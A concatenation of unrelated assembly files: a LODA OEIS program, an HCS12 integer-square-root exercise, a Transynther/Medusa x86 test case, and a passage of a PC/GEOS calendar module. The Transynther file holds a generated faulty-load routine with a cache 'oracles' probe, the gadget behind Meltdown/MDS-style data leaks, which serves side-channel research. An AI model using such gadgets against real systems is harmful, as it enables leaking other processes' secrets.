<reponame>karttu/loda ; A097070: Consider all compositions (ordered partitions) of n into n parts, allowing zeros. E.g., for n = 3 we get 300, 030, 003, 210, 120, 201, 102, 021, 012, 111. Then a(n) is the total number of 1's. ; 1,2,9,40,175,756,3234,13728,57915,243100,1016158,4232592,17577014,72804200,300874500,1240940160,5109183315,21002455980,86213785350,353452638000,1447388552610,5920836618840,24197138082780,98801168731200,403095046038750,1643337883690776,6694900194799404 mov $1,$0 add $1,1 mov $2,$0 mov $3,$0 sub $3,1 add $2,$3 bin $2,$0 mul $1,$2
3-sqrt_program/src/main.asm
brown9804/Dragon12_MC9S12DP256
0
102643
<reponame>brown9804/Dragon12_MC9S12DP256<filename>3-sqrt_program/src/main.asm ; Autor: ; <NAME>, Belinda ; <NAME> ; <EMAIL> ; <EMAIL> ; Jan, 2021 ;##-------------------------------- EXPLANATION ------------------------------------ ;This algorithm includes two tables: ;1. DATA -> where data is stored ;2. CUAD -> here we have just values with a int sqrt ;- CANT is a variable that sets the amount of first data to ;find that they have an integer square root (Stored in CUAD) ;The square root is calculated and the values are placed in ENTERO. ;It has several subroutines: ; LEER_CANT: ;This subroutine receives the CANT value from the ;keyboard, using the; GETCHAR subroutine. The subroutine ;must validate that the entered value is a ;number between 1 and 99. ; BUSCAR: ;This subroutine looks for the CANT DATA values that are in CUAD. ;Every time that finds a valid value, the BUSCAR ;subroutine should call the RAIZ subroutine. In addition, ;the subroutine will carry a counter of the values ;found in the variable CONT. The BUSCAR subroutine ;passes the value to RAIZ by means of the stack and by ;this same means RAIZ returns the result. On the other hand ;the subroutine must put the result in the ENTERO array. ; RAIZ: ;This subroutine calculates the square root. ;The value to which it must be obtained the square root must ;be passed to the subroutine by the stack and the subroutine ;will return the value calculated by the stack. ; Print_RESULT: ;This subroutine prints the number ;of rooted numbers and the ;array integers ;##-------------------------------- DEFINITIONS ------------------------------------ ;##------------ STORE DATA --------------------------------------------------------- carrage_rturn: EQU $0D line_feed: EQU $0A endMessag: EQU $0 ; ----> NULL stackPointer: EQU $3DFF ;##------------ DEBUGER SUBROUTINES --------------------------------------------------------- PRINTF: EQU $EE88 GETCHAR: EQU $EE84 PUTCHAR: EQU $EE86 ;##------------ VARIABLES GLOBAL --------------------------------------------------------- ORG $1000 LONG: DB 10 CANT: DS 1 CONT: DS 1 LONG_CUAD: DB 10 ORG $1010 ENTERO: DS 10 ORG $1020 DATOS: DB 1,4,9,9,16,25,8,49,5,64,100 ORG $1030 CUAD: DB 4,9,16,25,36,49,64,81,100 ;##------------ VARIABLES LOCAL --------------------------------------------------------- ORG $1040 COUNTER_B0: DS 1 COUNTER_B1: DS 1 ITER_LOOP: DS 2 WTEMP_1: DS 2 ROOT_X: DS 2 ; X ROOT_F: DS 2 ; F ROOT_FA: DS 2 ; Fn-1 ;##------------ TERMINAL MESSAGES --------------------------------------------------------- PRINT00: DB carrage_rturn, line_feed, carrage_rturn, line_feed FCC "INGRESE EL VALOR DE CANT (ENTRE 1 Y 99): " DB endMessag PRINT01: FCC "" DB carrage_rturn, line_feed, carrage_rturn, line_feed DB endMessag PRINT02: DB carrage_rturn, line_feed, carrage_rturn, line_feed FCC "CANTIDAD DE NUMEROS ENCONTRADOS : %i " DB endMessag PRINT03: DB carrage_rturn, line_feed, carrage_rturn, line_feed FCC "ENTEROS : " DB endMessag PRINT04: FCC "%u, " DB endMessag PRINT05: FCC "%u" DB carrage_rturn, line_feed, carrage_rturn, line_feed DB endMessag ;##-------------------------------- MAIN ------------------------------------ ORG $2000 _init: LDS #stackPointer ; init stack pointer JSR LEER_CANT JSR BUSCAR JSR PRINT_RESULT end: JMP end ;##------------- READ VALUES ------------------------------------------------------- LEER_CANT: LDD #PRINT00 LDX #$0000 JSR [PRINTF,X] ; print -> INGRESE EL VALOR DE CANT (ENTRE 1 Y 99): MOVB #0, CANT MOVB #2, COUNTER_B0 GET_CHAR: LDX #$0000 ; get number JSR [GETCHAR,X] ; $30 < char < $39 CMPB #$30 BCS GET_CHAR CMPB #$39 BHI GET_CHAR PRINT_CHAR: LDX #$0000 JSR [PUTCHAR,X] ; print valid char CALC_CANT: SUBD #$30 ; from chart to int LDAA #2 CMPA COUNTER_B0 BNE UNITS TENTS: CLRA LDY #10 ; int* 10 EMUL UNITS: ADDB CANT ; unit do not multiply STAB CANT DEC COUNTER_B0 IF_LOOP: BNE GET_CHAR TST CANT BEQ LEER_CANT ; if CANT == 0 RTS ;##------------- SEARCH ------------------------------------------------------- BUSCAR: MOVB #0, CONT MOVB LONG, COUNTER_B0 MOVW #ENTERO, ITER_LOOP LDX #DATOS ; load data DATOS_LOOP: LDAB 1,X+ ; value per value LDY #CUAD MOVB LONG_CUAD, COUNTER_B1 CUAD_LOOP: LDAA $0,Y ; get data CMPB 1,Y+ ; compare with CUAD BNE DEC_CUAD_COUNT ; if match -> sqrt? INC CONT CALC_ROOT: PSHX PSHB JSR RAIZ PULB pulx SAVE_ROOT: ; store sqrt in ENTERO LDY ITER_LOOP STAB 1,y+ STY ITER_LOOP DEC_CANT: DEC CANT BEQ END_BUSCAR ; if CANT = 0 JMP DEC_DATOS_COUNT DEC_CUAD_COUNT: DEC COUNTER_B1 BNE CUAD_LOOP DEC_DATOS_COUNT: DEC COUNTER_B0 BNE DATOS_LOOP END_BUSCAR: RTS ;##------------- SQRT ------------------------------------------------------- RAIZ: PULY CLRA PULB STD ROOT_X ; X STD ROOT_FA MOVW #0, ROOT_F ; F0 = 0 LOOP_RAIZ: CPD ROOT_F ; F = FA BEQ READY MOVW ROOT_FA,ROOT_F LDD ROOT_X LDX ROOT_FA IDIV XGDX ADDD ROOT_FA LSRD STD ROOT_FA ; F = 1/2( X/FA + FA) JMP LOOP_RAIZ READY: PSHB PSHY RTS ;##------------- PRINT_RESULT ------------------------------------------------------- PRINT_RESULT: PULY ; save returning address STY WTEMP_1 CLRA LDAB CONT PSHD LDD #PRINT02 LDX #$0000 JSR [PRINTF,X] ; print CONT LDD #PRINT03 LDX #$0000 JSR [PRINTF,X] MOVB CONT, COUNTER_B0 MOVW #ENTERO, ITER_LOOP PRINT_LOOP: LDY ITER_LOOP ; print ENTERO array CLRA LDAB 1,Y+ PSHD STY ITER_LOOP LDAB #1 CMPB COUNTER_B0 BEQ LAST_PRINT ; if COUNTER_B0 = 1 LDD #PRINT04 LDX #$0000 JSR [PRINTF,X] JMP DEC_COUNTER LAST_PRINT: ; no print "," for last LDD #PRINT05 LDX #$0000 JSR [PRINTF,X] DEC_COUNTER: DEC COUNTER_B0 BNE PRINT_LOOP LDY WTEMP_1 ; get stack pointer PSHY RTS
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_732.asm
ljhsiun2/medusa
9
85201
<filename>Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_732.asm .global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x199a, %rsi lea addresses_WC_ht+0x109e2, %rdi nop cmp $15920, %rbx mov $24, %rcx rep movsw nop nop nop sub $56354, %rbx lea addresses_WC_ht+0x3be2, %rsi nop nop nop nop inc %r12 movb (%rsi), %r13b nop nop nop nop nop add %r12, %r12 lea addresses_normal_ht+0x1a0e2, %rsi lea addresses_UC_ht+0x55e2, %rdi nop add $52188, %r14 mov $111, %rcx rep movsw nop nop cmp $42633, %rdi lea addresses_D_ht+0x65a2, %rsi lea addresses_normal_ht+0x8b9e, %rdi clflush (%rsi) nop nop nop nop nop dec %r15 mov $31, %rcx rep movsw nop xor %r14, %r14 lea addresses_D_ht+0x1b9e2, %r12 nop nop and %rbx, %rbx movb (%r12), %r13b nop nop sub %r15, %r15 lea addresses_WC_ht+0x1ae3e, %rsi clflush (%rsi) xor $52731, %rcx movb $0x61, (%rsi) nop nop nop nop dec %r12 lea addresses_A_ht+0xabe2, %rsi lea addresses_A_ht+0x1d9e2, %rdi nop nop nop nop nop sub %r13, %r13 mov $67, %rcx rep movsq nop nop nop and %r15, %r15 lea addresses_D_ht+0x121e2, %rsi lea addresses_WC_ht+0x147e2, %rdi nop nop nop dec %r15 mov $115, %rcx rep movsq nop nop nop nop nop inc %r15 lea addresses_normal_ht+0x1b1e2, %r14 nop cmp $46008, %rsi movl $0x61626364, (%r14) nop and %r13, %r13 lea addresses_WC_ht+0x183e2, %r15 nop nop nop nop nop dec %rdi movups (%r15), %xmm3 vpextrq $1, %xmm3, %rbx nop nop and %rsi, %rsi lea addresses_WT_ht+0x144e2, %rsi lea addresses_D_ht+0x5fe2, %rdi nop nop nop nop nop sub $4826, %r15 mov $14, %rcx rep movsw and %r14, %r14 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %rbp push %rbx push %rcx push %rdi push %rsi // Load lea addresses_WT+0x4c42, %r12 nop sub %r11, %r11 movb (%r12), %r15b nop nop nop mfence // REPMOV lea addresses_PSE+0x139e2, %rsi mov $0xee2, %rdi nop xor %rbx, %rbx mov $123, %rcx rep movsw dec %rcx // Faulty Load lea addresses_PSE+0x139e2, %rdi nop nop nop nop nop inc %r15 mov (%rdi), %ecx lea oracles, %r11 and $0xff, %rcx shlq $12, %rcx mov (%r11,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'src': {'type': 'addresses_PSE', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_P', 'congruent': 5, 'same': False}} [Faulty Load] {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 2}} {'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 11}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
Appl/Calendar/DayPlan/dayplanMain.asm
steakknife/pcgeos
504
22706
<reponame>steakknife/pcgeos<filename>Appl/Calendar/DayPlan/dayplanMain.asm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: Calendar/DayPlan FILE: dayplanMain.asm AUTHOR: <NAME>, June 28, 1989 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Don 6/89 Initial revision Don 7/17/89 Moved to new UI Don 11/10/89 Modified for spec of 11/9 Don 12/4/89 Use new class & method declarations DESCRIPTION: Defines the "DayPlan" procedures that operate on this class. $Id: dayplanMain.asm,v 1.1 97/04/04 14:47:40 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ include foam.def include timedate.def GeometryCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanViewSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Keep track of the view's size CALLED BY: UI PASS: ES = DGroup DS:*SI = DayPlan instance data CX = Width hint DX = Height hint RETURN: CX = Desired width DX = Desired height DESTROYED: AX, BX, DI, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/5/89 Initial version sean 2/3/96 Responder version using fixed values %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanViewSize method DayPlanClass, MSG_VIS_RECALC_SIZE .enter ; Store the event view height. Then, depending on what ; view is being shown, store the event view width. ; ; Keep track of the size ; mov ax, MSG_VIS_CONTENT_GET_WIN_SIZE ; get the size of the view mov di, offset DayPlanClass ; ES:DI points to my class call ObjCallSuperNoLock ; call my superclass mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access my instance data clr bx ; set a "all clear" flag xchg ds:[di].DPI_viewWidth, cx ; store the width xchg ds:[di].DPI_viewHeight, dx ; store the height cmp cx, ds:[di].DPI_viewWidth ; compare new & old widths pushf ; save the comparison result cmp dx, ds:[di].DPI_viewHeight ; compare new & old height jge checkWidth ; if greater or equal, do nada ; The screen is now longer. Allocate sufficient buffers... ; mov di, ds:[di].DPI_eventTable ; event table handle => DI mov di, ds:[di] ; dereference the chunk push ds:[di].ETH_screenLast ; save the last offset call BufferEnsureEnough ; make enough buffers pop cx ; EventTable offset => CX mov bx, 1 ; must re-draw the screen ; Now check to see if the width has changed ; checkWidth: popf ; restore comparison results je checkUpdate ; no, so check for update mov ax, MSG_DP_RECALC_HEIGHT ; resize every event call ObjCallInstanceNoLock ; EventTable offset => CX mov bx, 1 ; must re-draw the screen ; Finally, update the screen (if necessary) ; checkUpdate: tst bx ; no changes ?? jz done ; then we're done mov dl, SUF_STEAL_FROM_TOP or SUF_NO_REDRAW or SUF_NO_INVALIDATE mov ax, MSG_DP_SCREEN_UPDATE ; send screen update method call ObjCallInstanceNoLock ; We're done - return the dimmensions ; done:: call VisGetSize ; return the correct size .leave ret DayPlanViewSize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanRecalcHeight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Recalculate the height of every Event in the DayPlan CALLED BY: GLOBAL (MSG_DP_RECALC_HEIGHT) PASS: ES = DGroup DS:*SI = DayPlan instance data RETURN: CX = Offset to first event on screen DESTROYED: BX, DX, DI, SI, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/9/90 Initial version Don 6/28/90 Added update of current event text sean 4/6/95 Bogus dirty corrected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanRecalcHeight method DayPlanClass, MSG_DP_RECALC_HEIGHT .enter ; These lines cause the program to think that it needs to be saved ; after a view change. For instance, when an event is selected in the ; To Do list, and we change to Calendar view, this code causes the ; program to think that the database is dirty. SeanS 4/6/95 ; ; Force the text of the current event to be updated ; push si ; store the DayPlan chunk ; tst ds:[di].DPI_selectEvent ; get the selected event ; jz setup ; if none, do nothing ; mov cl, DBUF_EVENT ; update the text only ; mov si, ds:[di].DPI_selectEvent ; selected event => SI ; mov ax, MSG_DE_UPDATE ; method to send ; call ObjCallInstanceNoLock ; do it! ; Some set-up work ; setup: mov cx, ds:[di].DPI_viewWidth ; window width => CX sub cx, es:[timeOffset] ; take away offset to time sub cx, es:[timeWidth] ; take away the time width mov si, ds:[di].DPI_eventTable ; get the table handle mov di, ds:[si] ; derference the handle mov bx, size EventTableHeader ; initial offset to BX mov ds:[di].ETH_temp, 0 ; clear the document height jmp midLoop ; Now loop, calculating calcLoop: mov ax, ds:[di][bx].ETE_group mov di, ds:[di][bx].ETE_item call EventCalcHeightFar mov di, ds:[si] ; derference the EventTable mov ds:[di][bx].ETE_size, dx ; store the new size add ds:[di].ETH_temp, dx ; keep track of total size add bx, size EventTableEntry ; go to the next entry midLoop: cmp bx, ds:[di].ETH_last jl calcLoop ; Store the new document size ; mov ax, ds:[di].ETH_temp ; total document height => AX pop si ; DayPlan chunk => SI mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access the instance data mov ds:[di].DPI_docHeight, ax ; store the new document height mov cx, size EventTableHeader ; start update from top .leave ret DayPlanRecalcHeight endp GeometryCode ends DayPlanCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepts the drawing of the DayPlan to display any additional information or to alter the drawing that is done. CALLED BY: UI (MSG_VIS_DRAW) PASS: ES = Segment where DayPlanClass defined DS:DI = DayPlanClass specific instance data DS:*SI = DayPlanClass instance data BP = GState handle RETURN: Nothing DESTROYED: AX, BX, CX, DX, DI, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 5/22/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanDraw method DayPlanClass, MSG_VIS_DRAW .enter ; Complete the drawing ; push bp ; save the GState handle mov di, offset DayPlanClass call ObjCallSuperNoLock ; have superclass draw first pop di ; GState handle => DI ; Check for no events whatsoever ; mov si, ds:[si] ; dereference the handle add si, ds:[si].DayPlan_offset ; access the instance data mov bx, ds:[si].DPI_eventTable ; go to the event table mov bx, ds:[bx] cmp ds:[bx].ETH_last, size EventTableHeader jg done ; if any events, done ; Else display the "No Events" string ; if PZ_PCGEOS mov cx, FID_PIZZA_KANJI ; cx <- FontID mov dx, 16 clr ah ; dx.ah <- pointsize call GrSetFont endif mov ax, ds:[si].DPI_viewWidth ; width => AX clr cx ; string NULL terminated mov si, offset NoEventsString ; chunk handle => SI mov si, ds:[si] ; dereference the chunk call GrTextWidth ; get length of string sub ax, dx ; subtract length of string shr ax, 1 ; divide it by 2 to center mov bx, 5 ; draw near the top call GrDrawText ; write it!! done: .leave ret DayPlanDraw endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanLoadEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load an event into a day plan from the database CALLED BY: Database (MSG_DP_LOAD_EVENT) PASS: CX = Group # of DB event DX = Item # of DB event BP = 0 to calculate insertion point = anything else to blindly insert at the end DS:*SI = DayPlan instance data RETURN: Carry = Set if error (too many events) DESTROYED: BX, DI, SI, ES PSEUDO CODE/STRATEGY: Create an event Stuff the data to: Structure to the DayEvent Time to the TimeText object Event to the EventText object Call for insertion into the event table KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 8/2/89 Initial version Don 9/26/89 Major revision sean 3/19/95 To Do list changes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanLoadEvent method DayPlanClass, MSG_DP_LOAD_EVENT uses ax, cx, dx, bp .enter ; A little set up work ; mov ax, bp sub sp, size EventTableEntry mov bp, sp ; SS:BP points to structure push ax ; save the insert value ; Stuff the EventTableEntry structure ; mov ss:[bp].ETE_group, cx mov ss:[bp].ETE_item, dx ; store the group # item #'s mov ax, cx mov di, dx call GP_DBLockDerefDI ; lock the DB event mov ax, es:[di].ES_timeYear mov ss:[bp].ETE_year, ax ; copy the event year mov ax, {word} es:[di].ES_timeDay mov {word} ss:[bp].ETE_day, ax ; copy the event M/D mov ax, {word} es:[di].ES_timeMinute mov {word} ss:[bp].ETE_minute, ax ; copy the event time mov ax, es:[di].ES_repeatID mov ss:[bp].ETE_repeatID, ax ; copy the repeat ID mov ax, es:[di].ES_dataLength ; length of text => AX RespCheckDB ; EC check db call DBUnlock ; unlock the DB event ; ; Insert the EventTableEntry ; pop dx ; restore insertion indicator cmp ax, INK_DATA_LENGTH ; check for INK (hack, hack) mov ax, MSG_DP_LOAD_INK ; assume we have ink je sendMessage ; if we have ink, jump mov ax, MSG_DP_INSERT_ETE ; insert the event sendMessage: call ObjCallInstanceNoLock jc done ; if too many events - fail ; Do we need to insert it into the screen ?? ; clr bp ; don't know buffer handle mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access instance data test ds:[di].DPI_flags, DP_LOADING ; are we loading ?? jne done ; yes, do nothing (carry clear) push dx ; save the actual event offset mov ax, MSG_DP_SCREEN_UPDATE mov dl, SUF_STEAL_FROM_BOTTOM ; steal from the bottom, if nec call ObjCallInstanceNoLock ; else insert in the screen ; Force the event to be selected ; pop cx ; actual event offset => CX if _TODO ; if showing To Do list, mov di, ds:[si] ; don't force event to be add di, ds:[di].DayPlan_offset ; selected test ds:[di].DPI_prefFlags, PF_TODO jnz done call CalendarIgnoreInput endif sub sp, size ForceSelectArgs mov bp, sp mov ss:[bp].FSA_message, MSG_META_DUMMY mov ss:[bp].FSA_callBack, 0 ; must zero this out mov ax, MSG_DP_FORCE_SELECT call ObjCallInstanceNoLock add sp, size ForceSelectArgs ; SP can't overflow, so CF = 0 ; Clean up done: lahf ; flags => AH add sp, size EventTableEntry ; restore the stack sahf ; restore carry flag .leave ret DayPlanLoadEvent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanLoadRepeat %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load a repeat event CALLED BY: RepeatLoadEvent PASS: CX = RepeatStruct group # DX = RepeatStruct item # SS:BP = EventRangeStruct DS:*SI = DayPlan instance data RETURN: Carry = Set if error (too many events) DESTROYED: BX, DI, SI, ES PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanLoadRepeat method DayPlanClass, MSG_DP_LOAD_REPEAT uses ax, cx, dx .enter ; A little set up work ; mov bx, bp ; SS:BX points to EventRange sub sp, size EventTableEntry mov bp, sp ; SS:BP points to ETE struct ; Stuff the EventTableEntry structure ; mov ss:[bp].ETE_group, cx mov ss:[bp].ETE_item, dx ; store the group # item #'s mov di, ss:[bx].ERS_startYear mov ss:[bp].ETE_year, di ; store the year mov ax, ss:[bx].ERS_curMonthDay mov {word} ss:[bp].ETE_day, ax ; store the month & day xchg ax, cx ; swap Month/Day & group xchg di, dx ; swap Year, item # and ax, not REPEAT_MASK ; clear the repeat bit call GP_DBLockDerefDI ; lock the DB event mov ax, {word} es:[di].RES_minute mov {word} ss:[bp].ETE_minute, ax ; copy the event time mov ax, es:[di].RES_ID mov ss:[bp].ETE_repeatID, ax ; copy the repeat ID RespCheckDB call DBUnlock ; Insert the EventTableEntry (if necessary) ; call RepeatExistAlready ; look for this repeat event cmc ; invert the carry jnc done ; if found, don't add! clr dx ; calc insertion point mov ax, MSG_DP_INSERT_ETE ; insert the event call ObjCallInstanceNoLock ; insert the event jc done ; if no room, fail ; Do we need to insert it into the screen ?? ; mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access instance data test ds:[di].DPI_flags, DP_LOADING ; are we loading ?? jnz done ; yes, so do nothing mov ax, MSG_DP_SCREEN_UPDATE mov dl, SUF_STEAL_FROM_BOTTOM ; steal from the bottom, if nec call ObjCallInstanceNoLock ; else insert in the screen clc ; clear the carry ; Clean up (carry flag correct at this point) done: lahf ; flags => AH add sp, size EventTableEntry ; 